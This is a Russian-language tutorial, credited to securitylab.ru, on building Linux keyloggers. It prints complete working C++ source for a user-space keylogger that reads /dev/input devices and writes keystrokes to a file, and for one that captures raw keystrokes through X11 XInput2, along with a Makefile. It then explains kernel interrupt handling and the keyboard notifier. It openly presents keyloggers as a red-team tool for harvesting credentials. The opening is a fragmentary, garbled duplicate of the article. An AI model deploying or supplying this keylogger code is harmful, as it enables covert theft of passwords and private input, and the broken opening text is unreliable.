Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.
/-----------+-----------\ /-----------+-----------\
| app 1 | app 2 | | app 3 | app 4 |
\-----------+-----------/ \-----------+-----------/
^ ^
| |
+-------+ |
| |
| key symbol keycode |
| + modifiers |
| |
| |
+---+-------------+ +-----------+-------------+
+ X server | | /dev/input/eventX |
+-----------------+ +-------------------------+
^ ^
| keycode / scancode |
+---------------+---------------+
|
|
+---------------+--------------+ interrupt
| kernel | <--------=-------+
+------------------------------+ |
|
+----------+ USB, PS/2 +-------------+ PCI, ... +-----+
| keyboard |------------------->| motherboard |----------->| CPU |
+----------+ key up/down +-------------+ +-----+
Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши
и
который называется кодом клавиши или скан-кодом
или
Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например,
CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (
В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
Так можно итерировать каталоги и искать символьные файлы в C++17:
А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
Рассмотрим переменные в структуре:
Для полноты картины ниже приведен полный исходный код кейлоггера:
Дальше мы рассмотрим немного другую технику захвата событий клавиатуры.
+---------------+ +--------------+
| Display:2 |<--=---+ +----=--->| WxWidget |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:1 |<--=---+ +----=--->| Qt |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:0 |<--=---+ +----=--->| GTK+ |-----+
+---------------+ | | +--------------+ |
| | |
| | |
upd ate +-------------+--+ ---=---> +-----+--------+ send data |
+------=--| X Server | | xlib |<-------------=------+
| screen +----------------+ <--=---- +--------------+ ask to repaint
| ^
| | events
| +---------+----------------+
+-->| Linux Kernel |
+--------------------------+
X-сервер находится между GUI и ОС, и отвечает за предоставление различных примитивов. X-сервер реализует парадигму «окна, значки, меню, указатель», которая является базой в системе графического интерфейса.
Протокол, понятный X-серверу, ориентирован на сеть (вы можете рисовать экран в абсолютно другой системе, а не в той, в которой запущено приложение) и является расширяемым по дизайну.
Наборы GUI-инструментов GTK, GTK+, Qt и т. д. используют различные библиотеки X-сервера для рисования различных элементов управления. Затем приложения используют библиотеки для разработки своих собственных пользовательских интерфейсов. Как правило, приложения будут работать в среде рабочего стола, которая реализует «традиционные» элементы (лаунчер, обои и т. д.) и элементы управления (drag-and-drop перетаскивание и т.д.).
Мы можем пронумеровать этот путь и попытаться открыть доступные дисплеи. Так мы убедимся, что файлы сокетов действительно с X-сервера.
Пример кода для перечисления выглядит следующим образом:
Мы перечислили экраны и их размеры для каждого обнаруженного дисплея. Если выполнить код, то он покажет:
С дисплеем связан только 1 экран с разрешением 1920x1080.
Фрагмент кода для проверки выглядит следующим образом:
Маска может быть установлена следующим образом:
Для событий клавиатуры:
Если сравнить этот код с кодом кейлоггера из 1 части статьи, то можно увидеть, что нам не нужно вручную сопоставлять коды сканирования с фактическими клавишами на клавиатуре. X-сервер самостоятельно сопоставляет код сканирования с клавишами на текущей раскладке.
Keylogger.cpp
Makefile
Теперь мы рассмотрим методы перехвата событий клавиатуры в ядре Linux.
Ядро устанавливает обработчики прерываний, заполняя таблицу дескрипторов прерываний и передавая ее процессору (чтобы процессор знал, какую процедуру вызывать для любого заданного прерывания). Ядро также предоставляет систему уведомлений клавиатуры, которая принимает объекты **notifier_block** от других модулей ядра и вызывает соответствующие callback-функции на каждое событие клавиатуры.
Прерывание — это событие, которое изменяет нормальный ход выполнения программы и может генерироваться аппаратными устройствами или даже самим ЦП. Процессор получает прерывание и дает сигнал операционной системе о том, что ОС может обработать новые данные.
Прерывания можно разделить на две категории в зависимости от источника прерывания:
- синхронный, генерируется выполнением инструкции
- асинхронный, генерируемый внешним событием
Или же,
- маскируемый
Как правило, устройства, вызывающие прерывания, не связаны напрямую с CPU. Аппаратное обеспечение использует программируемый контроллер прерываний (PIC), который помогает центральному процессору, принимая прерывания от нескольких устройств и передавая их CPU в нужном формате. Выглядит это так:
Но в реальности обычно используется несколько улучшенных программируемых контроллера прерываний (APIC). Один из них взаимодействует с тепловыми датчиками, таймерами и т.д. Другие – с устройствами ввода и вывода. Выглядит это примерно так:
Внешние устройства взаимодействуют с I/O APIC, который принимает от них прерывания и передает их ядру процессора для обработки. Это происходит примерно следующим образом:
Хотя прерывания могут обрабатываться на уровне устройства и PIC/APIC, мы ограничимся обработкой на уровне ЦП. Когда процессор получает запрос на прерывание, он делает следующее:
Список переменных структуры:
Этот обработчик может быть запущен во время загрузки (и выключен во время выгрузки), как показано ниже:
Поскольку мы работаем на очень низком уровне, нам также придется самостоятельно заниматься извлечением кода клавиш.
Базовый IRQ будет выглядеть так:
Кейлоггер с использованием IRQ:
источник securitylab.ru
Что такое кейлоггер?
Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.Почему нужно изучать кейлоггеры?
Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.Кому это может понадобиться?
Специалистам Offensive Security или красной команде:- Вы узнаете, какие методы внедрения кейлоггеров существуют;
- Вы поймете, где можно запустить кейлоггер.
- Вы поймете, где могут скрываться кейлоггеры;
- Вы узнаете общие API и методы, которые следует отслеживать для обнаружения кейлоггеров.
Взаимодействие клавиатуры и Linux
Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:/-----------+-----------\ /-----------+-----------\
| app 1 | app 2 | | app 3 | app 4 |
\-----------+-----------/ \-----------+-----------/
^ ^
| |
+-------+ |
| |
| key symbol keycode |
| + modifiers |
| |
| |
+---+-------------+ +-----------+-------------+
+ X server | | /dev/input/eventX |
+-----------------+ +-------------------------+
^ ^
| keycode / scancode |
+---------------+---------------+
|
|
+---------------+--------------+ interrupt
| kernel | <--------=-------+
+------------------------------+ |
|
+----------+ USB, PS/2 +-------------+ PCI, ... +-----+
| keyboard |------------------->| motherboard |----------->| CPU |
+----------+ key up/down +-------------+ +-----+
Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши
Код:
keydown
Код:
keyup
Код:
keycode
Код:
scancode
keydown и/или keyup) и запустит прерывание для CPU.CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (
/dev/input/eventX).В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
- Кейлоггер определит, какой файл
/dev/input/eventXявляется клавиатурным устройством и будет напрямую считывать данные из этого файла. - Кейлоггер запросит данные о событиях у X-сервера.
А как найти клавиатуру в системе?
Определить клавиатуру или устройство, заменяющее ее, довольно просто:- Итерируем все файлы по `/dev/input/;
- Проверяем, принадлежит ли найденный файл к символьному устройству;
- Проверяем, поддерживает ли данный файл события клавиатуры;
- Проверяем, есть ли в данном файле клавиши, встречающиеся на клавиатурах.
Так можно итерировать каталоги и искать символьные файлы в C++17:
Код:
std::string get_kb_device()
{
std::string kb_device = "";
for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
{
std::filesystem::file_status status = std::filesystem::status(p);
if (std::filesystem::is_character_file(status))
{
kb_device = p.path().string();
}
}
return kb_device;
}
- Проверим, действительно ли файл доступен для чтения.
- Используем IOCTL (функцию, манипулирующую базовыми параметрами устройств, представленных в виде специальных файлов), чтобы проверить, поддерживаются ли события клавиатуры.
- Еще раз используем IOCTL и узнаем, поддерживаются ли нужные нам клавиши.
Код:
std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
std::cerr << "Error: " << strerror(errno) << std::endl;
continue;
}
int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
if((kbd_bitmap & event_bitmap) == kbd_bitmap)
{
// The device supports A, B, C, Z keys, so it probably is a keyboard
kb_device = filename;
close(fd);
break;
}
}
close(fd);
Как реализовать считывание событий клавиатуры?
Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:- Считываем данные с клавиатуры в объект `
input_event`; - Проверяем, является ли тип события
EV_KEY(т.е. событием нажатия клавиши); - Расшифруем поля и извлечем скан-код;
- Сопоставим скан-код с названием клавиши.
input_event` выглядит так:
Код:
struct input_event {
#if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__)
struct timeval time;
#define input_event_sec time.tv_sec
#define input_event_usec time.tv_usec
#else
__kernel_ulong_t __sec;
#if defined(__sparc__) && defined(__arch64__)
unsigned int __usec;
unsigned int __pad;
#else
__kernel_ulong_t __usec;
#endif
#define input_event_sec __sec
#define input_event_usec __usec
#endif
__u16 type;
__u16 code;
__s32 value;
}
Рассмотрим переменные в структуре:
- `time`– временная метка, возвращающая время, в которое произошло событие.
- ``type`– тип события, заданный в/usr/include/linux/input-event-codes.h.В случае события клавиатуры он будет**EV_KEY**.
- ``code`– код события, заданный в/usr/include/linux/input-event-codes.h.В случае события клавиатуры он станет скан-кодом.
- ``value`– значение события. Оно может может показывать относительное изменениеEV_REL, совершенно новое значениеEV_ABS. В EV_KEYоно принимает значение 0 дляkeyup, 1 дляkeydownи 2 для автоповтора.
Код:
std::vector keycodes = {
"RESERVED",
"ESC",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"MINUS",
"EQUAL",
"BACKSPACE",
"TAB",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"LEFTBRACE",
"RIGHTBRACE",
"ENTER",
"LEFTCTRL",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
"SEMICOLON",
"APOSTROPHE",
"GRAVE",
"LEFTSHIFT",
"BACKSLASH",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"COMMA",
"DOT",
"SLASH",
"RIGHTSHIFT",
"KPASTERISK",
"LEFTALT",
"SPACE",
"CAPSLOCK",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"NUMLOCK",
"SCROLLLOCK"
};
Код:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
std::vector keycodes = {
"RESERVED",
"ESC",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"MINUS",
"EQUAL",
"BACKSPACE",
"TAB",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"LEFTBRACE",
"RIGHTBRACE",
"ENTER",
"LEFTCTRL",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
"SEMICOLON",
"APOSTROPHE",
"GRAVE",
"LEFTSHIFT",
"BACKSLASH",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"COMMA",
"DOT",
"SLASH",
"RIGHTSHIFT",
"KPASTERISK",
"LEFTALT",
"SPACE",
"CAPSLOCK",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"NUMLOCK",
"SCROLLLOCK"
};
int loop = 1;
void sigint_handler(int sig)
{
loop = 0;
}
int write_all(int file_desc, const char *str)
{
int bytesWritten = 0;
int bytesToWrite = strlen(str);
do
{
bytesWritten = write(file_desc, str, bytesToWrite);
if(bytesWritten == -1)
{
return 0;
}
bytesToWrite -= bytesWritten;
str += bytesWritten;
} while(bytesToWrite > 0);
return 1;
}
void safe_write_all(int file_desc, const char *str, int keyboard)
{
struct sigaction new_actn, old_actn;
new_actn.sa_handler = SIG_IGN;
sigemptyset(&new_actn.sa_mask);
new_actn.sa_flags = 0;
sigaction(SIGPIPE, &new_actn, &old_actn);
if(!write_all(file_desc, str))
{
close(file_desc);
close(keyboard);
std::cerr << "Error: " << strerror(errno) << std::endl;
exit(1);
}
sigaction(SIGPIPE, &old_actn, NULL);
}
void keylogger(int keyboard, int writeout)
{
int eventSize = sizeof(struct input_event);
int bytesRead = 0;
const unsigned int number_of_events = 128;
struct input_event events[number_of_events];
int i;
signal(SIGINT, sigint_handler);
while(loop)
{
bytesRead = read(keyboard, events, eventSize * number_of_events);
for(i = 0; i < (bytesRead / eventSize); ++i)
{
if(events[i].type == EV_KEY)
{
if(events[i].value == 1)
{
if(events[i].code > 0 && events[i].code < keycodes.size())
{
safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard);
safe_write_all(writeout, "\n", keyboard);
}
else
{
write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED"));
}
}
}
}
}
if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard);
}
std::string get_kb_device()
{
std::string kb_device = "";
for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
{
std::filesystem::file_status status = std::filesystem::status(p);
if (std::filesystem::is_character_file(status))
{
std::string filename = p.path().string();
int fd = open(filename.c_str(), O_RDONLY);
if(fd == -1)
{
std::cerr << "Error: " << strerror(errno) << std::endl;
continue;
}
int32_t event_bitmap = 0;
int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
if((EV_KEY & event_bitmap) == EV_KEY)
{
// The device acts like a keyboard
ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
if((kbd_bitmap & event_bitmap) == kbd_bitmap)
{
// The device supports A, B, C, Z keys, so it probably is a keyboard
kb_device = filename;
close(fd);
break;
}
}
close(fd);
}
}
return kb_device;
}
void print_usage_and_quit(char *application_name)
{
std::cout << "Usage: " << application_name << " output-file" << std::endl;
exit(1);
}
int main(int argc, char *argv[])
{
std::string kb_device = get_kb_device();
if (argc < 2)
print_usage_and_quit(argv[0]);
if(kb_device == "")
print_usage_and_quit(argv[0]);
int writeout;
int keyboard;
if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0)
{
std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl;
return 1;
}
if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0)
{
std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl;
return 1;
}
std::cout << "Keyboard device: " << kb_device << std::endl;
keylogger(keyboard, writeout);
close(keyboard);
close(writeout);
return 0;
}
Дальше мы рассмотрим немного другую технику захвата событий клавиатуры.
Стек графического интерфейса Linux
В отличие от других операционных систем графический интерфейс (graphical user interface, GUI) не является частью самой ОС Linux. Графическим интерфейсом управляет стек различных приложений, библиотек и протоколов. Общий стек выглядит примерно так:+---------------+ +--------------+
| Display:2 |<--=---+ +----=--->| WxWidget |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:1 |<--=---+ +----=--->| Qt |-----+
+---------------+ | | +--------------+ |
| | |
+---------------+ | | +--------------+ |
| Display:0 |<--=---+ +----=--->| GTK+ |-----+
+---------------+ | | +--------------+ |
| | |
| | |
upd ate +-------------+--+ ---=---> +-----+--------+ send data |
+------=--| X Server | | xlib |<-------------=------+
| screen +----------------+ <--=---- +--------------+ ask to repaint
| ^
| | events
| +---------+----------------+
+-->| Linux Kernel |
+--------------------------+
X-сервер находится между GUI и ОС, и отвечает за предоставление различных примитивов. X-сервер реализует парадигму «окна, значки, меню, указатель», которая является базой в системе графического интерфейса.
Протокол, понятный X-серверу, ориентирован на сеть (вы можете рисовать экран в абсолютно другой системе, а не в той, в которой запущено приложение) и является расширяемым по дизайну.
Наборы GUI-инструментов GTK, GTK+, Qt и т. д. используют различные библиотеки X-сервера для рисования различных элементов управления. Затем приложения используют библиотеки для разработки своих собственных пользовательских интерфейсов. Как правило, приложения будут работать в среде рабочего стола, которая реализует «традиционные» элементы (лаунчер, обои и т. д.) и элементы управления (drag-and-drop перетаскивание и т.д.).
Терминология X-сервера
Поскольку X-сервер использует неинтуитивные термины, мы рассмотрим некоторые из них:- **display** (дисплей) — сам X-сервер;
- **screen** (экран) — виртуальный фреймбуфер, связанный с «дисплеем». Дисплей может иметь более одного экрана;
- **monitor** (монитор) — ваш физический монитор, на котором будет отображаться фреймбуфер. Как правило, экран будет сопоставлен с одним монитором. Можно использовать 2 монитора с одинаковым экраном или 2 небольших монитора как один большой экран (разные части экрана попадают на разные мониторы);
- **root window** (корневое окно) — окно, в котором отображается все остальное. Это корневой узел дерева окон;
- **virtual core device** (виртуальное основное устройство) — X-сервер всегда будет иметь 2 виртуальных основных (главных) устройства: мышь и клавиатуру. Они предназначены для предоставления основных действий в диапазоне разрешения экрана:
- Пользователь, который зарегистрировался для событий XInput Extension, будет получать события в своем родном разрешении;
- Пользователь, который напрямую открыл физические (подчиненные) устройства и зарегистрировался для событий, не получит основные события. Подчиненное устройство не может генерировать основные события.
Кейлоггинг в X-сервере
Основной способ захвата ввода выглядит следующим образом:- Проверка запуска X-сервера;
- Перечисление доступных дисплеев;
- Выбор нужного дисплея;
- Проверка доступности XInputExtension;
- Установка маски события для включения событий нажатий клавиш;
- Чтение событий с дисплея в цикле.
Перечисление дисплеев
Во время работы X-сервер создает файлы сокетов в «/tmp/.X11-unix/» для каждого дисплея. Имена файлов соответствуют общему шаблону « X <цифры> », где «:<цифры>» будет отображаемым именем.Мы можем пронумеровать этот путь и попытаться открыть доступные дисплеи. Так мы убедимся, что файлы сокетов действительно с X-сервера.
Пример кода для перечисления выглядит следующим образом:
Код:
std::vector<std::string> EnumerateDisplay()
{
std::vector<std::string> displays;
for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
{
std::string path = p.path().filename().string();
std::string display_name = ":";
if (path[0] != 'X') continue;
path.erase(0, 1);
display_name.append(path);
Display *disp = XOpenDisplay(display_name.c_str());
if (disp != NULL)
{
int count = XScreenCount(disp);
printf("Display %s has %d screens\n",
display_name.c_str(), count);
int i;
for (i=0; i<count; i++)
printf(" %d: %dx%d\n",
i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
XCloseDisplay(disp);
displays.push_back(display_name);
}
}
return displays;
}
Код:
Display :0 has 1 screens 0: 1920x1080
Обнаружение XInputExtension
Мы можем использовать XQueryExtension для проверки доступности расширения на выбранном дисплее. Поскольку расширения могут изменить свое поведение в будущем, нужно ограничиться конкретными версиями, в которых мы протестируем наш код. В этом примере мы будем придерживаться версии 2.0 XInputExtension.Фрагмент кода для проверки выглядит следующим образом:
Код:
// Set up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
std::cerr << "Cannot open X display: " << hostname << std::endl;
exit(1);
}
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
{
std::cerr <<"X Input extension not available" << std::endl;
exit(2);
}
// Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest)
{
std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
exit(3);
}
else if (queryResult != Success)
{
std::cerr << "Internal error" << std::endl;
exit(4);
}
Регистрация событий
Чтобы получить определенные события от X-сервера, мы должны сообщить ему интересующие нас события с помощью маски события. Маска определяется следующим образом:
Код:
typedef struct {
int deviceid;
int mask_len;
unsigned char* mask;
} XIEventMask;
- Если deviceid является допустимым устройством, то маска события выбирается только для этого устройства;
- Если идентификатор устройства равен XIAllDevices, то маска события выбирается для всех устройств;
- Если идентификатор устройства равен XIAllMasterDevices, то маска события выбирается для всех главных устройств.
Маска может быть установлена следующим образом:
Код:
Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);
Чтение событий
Данные события поступают в объект «XGenericEventCookie», который определяется так:
Код:
typedef struct {
int type;
unsigned long serial;
Bool send_event;
Display *display;
int extension;
int evtype;
unsigned int cookie;
void *data;
} XGenericEventCookie;
- «type» станет _GenericEvent_;
- «extension» станет _xiOpcode_;
- «evtype» будет _XI_RawKeyRelease_ или _XI_RawKeyPress_;
- «data» будут указывать на объект «XIRawEvent».
- Выбрать событие с помощью «XNextEvent()»;
- Убедиться, что выбранное событие предназначено для предполагаемого события (путем проверки значений полей);
- Прочитать данные о событии.
Код:
while (true)
{
XEvent event;
XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
XNextEvent(disp, &event);
if (XGetEventData(disp, cookie) &&
cookie->type == GenericEvent &&
cookie->extension == xiOpcode)
{
switch (cookie->evtype)
{
case XI_RawKeyRelease:
case XI_RawKeyPress:
{
XIRawEvent *ev = (XIRawEvent*)cookie->data;
// Ask X what it calls that key
KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
if (NoSymbol == s) continue;
char *str = XKeysymToString(s);
if (NULL == str) continue;
std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
break;
}
}
}
}
Полный код
Для полноты картины представим код целиком:Keylogger.cpp
Код:
#include <X11/XKBlib.h>
#include <X11/extensions/XInput2.h>
#include
#include
#include
#include
#include
#include
int printUsage(std::string application_name)
{
std::cout << "USAGE: " << application_name << " [-display ] [-enumerate] [-help]" << std::endl;
std::cout << "display target X display (default :0)" << std::endl;
std::cout << "enumerate enumerate all X11 displays" << std::endl;
std::cout << "help print this information and exit" << std::endl;
exit(0);
}
std::vector EnumerateDisplay()
{
std::vector displays;
for (auto &p : std::filesystem::directory_iterator("/tmp/.X11-unix"))
{
std::string path = p.path().filename().string();
std::string display_name = ":";
if (path[0] != 'X') continue;
path.erase(0, 1);
display_name.append(path);
Display *disp = XOpenDisplay(display_name.c_str());
if (disp != NULL)
{
int count = XScreenCount(disp);
printf("Display %s has %d screens\n",
display_name.c_str(), count);
int i;
for (i=0; i<count; i++)
printf(" %d: %dx%d\n",
i, XDisplayWidth(disp, i), XDisplayHeight(disp, i));
XCloseDisplay(disp);
displays.push_back(display_name);
}
}
return displays;
}
int main(int argc, char * argv[])
{
const char * hostname = ":0";
// Get arguments
for (int i = 1; i < argc; i++)
{
if (!strcmp(argv[i], "-help"))
printUsage(argv[0]);
else if (!strcmp(argv[i], "-display"))
hostname = argv[++i];
else if (!strcmp(argv[i], "-enumerate"))
{
EnumerateDisplay();
return 0;
}
else
{
std::cerr << "Unknown argument: " << argv[i] << std::endl;
printUsage(argv[0]);
}
}
// Se t up X
Display * disp = XOpenDisplay(hostname);
if (NULL == disp)
{
std::cerr << "Cannot open X display: " << hostname << std::endl;
exit(1);
}
// Test for XInput 2 extension
int xiOpcode, queryEvent, queryError;
if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError))
{
std::cerr << "X Input extension not available" << std::endl;
exit(2);
}
{ // Request XInput 2.0, guarding against changes in future versions
int major = 2, minor = 0;
int queryResult = XIQueryVersion(disp, &major, &minor);
if (queryResult == BadRequest)
{
std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl;
exit(3);
}
else if (queryResult != Success)
{
std::cerr << "Internal error" << std::endl;
exit(4);
}
}
// Register events
Window root = DefaultRootWindow(disp);
XIEventMask m;
m.deviceid = XIAllMasterDevices;
m.mask_len = XIMaskLen(XI_LASTEVENT);
m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char));
XISetMask(m.mask, XI_RawKeyPress);
XISetMask(m.mask, XI_RawKeyRelease);
XISelectEvents(disp, root, &m, 1);
XSync(disp, false);
free(m.mask);
while (true)
{
XEvent event;
XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie;
XNextEvent(disp, &event);
if (XGetEventData(disp, cookie) &&
cookie->type == GenericEvent &&
cookie->extension == xiOpcode)
{
switch (cookie->evtype)
{
case XI_RawKeyRelease:
case XI_RawKeyPress:
{
XIRawEvent *ev = (XIRawEvent*)cookie->data;
// Ask X what it calls that key
KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0);
if (NoSymbol == s) continue;
char *str = XKeysymToString(s);
if (NULL == str) continue;
std::cout << (cookie->evtype == XI_RawKeyPress ? "+" : "-") << str << " " << std::flush;
break;
}
}
}
}
}
Makefile
Код:
keylogger: keylogger.cpp
$(CXX) --std=c++17 -pedantic -Wall -lX11 -lXi -o keylogger keylogger.cpp -O0 -ggdb
clean:
rm --force keylogger
Теперь мы рассмотрим методы перехвата событий клавиатуры в ядре Linux.
Как работает клавиатура в Linux?
Ниже приведена схема работы ОС с клавиатурой:
Ядро устанавливает обработчики прерываний, заполняя таблицу дескрипторов прерываний и передавая ее процессору (чтобы процессор знал, какую процедуру вызывать для любого заданного прерывания). Ядро также предоставляет систему уведомлений клавиатуры, которая принимает объекты **notifier_block** от других модулей ядра и вызывает соответствующие callback-функции на каждое событие клавиатуры.
Обработка прерываний
Что такое прерывания?Прерывание — это событие, которое изменяет нормальный ход выполнения программы и может генерироваться аппаратными устройствами или даже самим ЦП. Процессор получает прерывание и дает сигнал операционной системе о том, что ОС может обработать новые данные.
Прерывания можно разделить на две категории в зависимости от источника прерывания:
- синхронный, генерируется выполнением инструкции
- асинхронный, генерируемый внешним событием
Или же,
- маскируемый
- можно игнорировать
- сигнализируется через вывод INT
- нельзя игнорировать
- сигнализируется через вывод NMI
Как правило, устройства, вызывающие прерывания, не связаны напрямую с CPU. Аппаратное обеспечение использует программируемый контроллер прерываний (PIC), который помогает центральному процессору, принимая прерывания от нескольких устройств и передавая их CPU в нужном формате. Выглядит это так:
Но в реальности обычно используется несколько улучшенных программируемых контроллера прерываний (APIC). Один из них взаимодействует с тепловыми датчиками, таймерами и т.д. Другие – с устройствами ввода и вывода. Выглядит это примерно так:
Внешние устройства взаимодействуют с I/O APIC, который принимает от них прерывания и передает их ядру процессора для обработки. Это происходит примерно следующим образом:
- Устройство вызывает IRQ (запрос на прерывание) для запуска прерывания;
- APIC преобразует IRQ в векторное число и записывает его в порт для чтения ядром ЦП;
- APIC вызывает прерывание на выводе INTR.
- APIC ожидает, пока ЦП подтвердит прерывание, прежде чем инициировать другое прерывание;
- ЦП подтверждает прерывание, затем начинает обрабатывать его.
Хотя прерывания могут обрабатываться на уровне устройства и PIC/APIC, мы ограничимся обработкой на уровне ЦП. Когда процессор получает запрос на прерывание, он делает следующее:
- Проверяет текущую привилегию выполнения;
- Если необходимо изменить привилегию, переключает на стек с требуемой привилегией. Информация старого стека копируется в новый стек;
- Делает резервную копию состояния процессора для переключения контекста (регистры, коды ошибок и т.д.); и меняется контекст;
- Просматривает регистр IDTR, чтобы найти местоположение IDT;
- Использует номер вектора прерывания в качестве ключа, и находит начальный адрес соответствующего обработчика, используя таблицу переходов в IDT и преобразования адресов;
- Запускает обработчик прерывания;
- Выполняет возврат из обработчика прерывания:
- Восстанавливает регистры и коды ошибок
- Переключается обратно на предыдущую привилегию
- Ядро отключит локальные прерывания и подтвердит запрос прерывания. Ядро запустит общий обработчик прерывания, который определит номер прерывания, обработчик прерывания для этого конкретного прерывания и контроллер прерывания. Почему это необходимо? Потому что один и тот же запрос на прерывание может использоваться несколькими устройствами. Такие прерывания называются общими прерываниями.
- Будут выполнены все связанные обработчики из соответствующих драйверов устройств. В конце этой цепочки вызывается специальный «конец прерывания»; так что управление может быть повторно подтверждено контроллером прерываний. На этом этапе прерывания локального процессора остаются отключенными.
- На этом этапе будут разрешены локальные прерывания на процессоре. Здесь будут выполняться все действия контекста отложенного прерывания.
Keyboard Notifier
Keyboard notifier вызывает callback-функции и передает данные в виде структуры **keyboard_notifier_param**, которая выглядит так:
Код:
struct keyboard_notifier_param {
struct vc_data *vc;
int down;
int shift;
int ledstate;
unsigned int value;
};
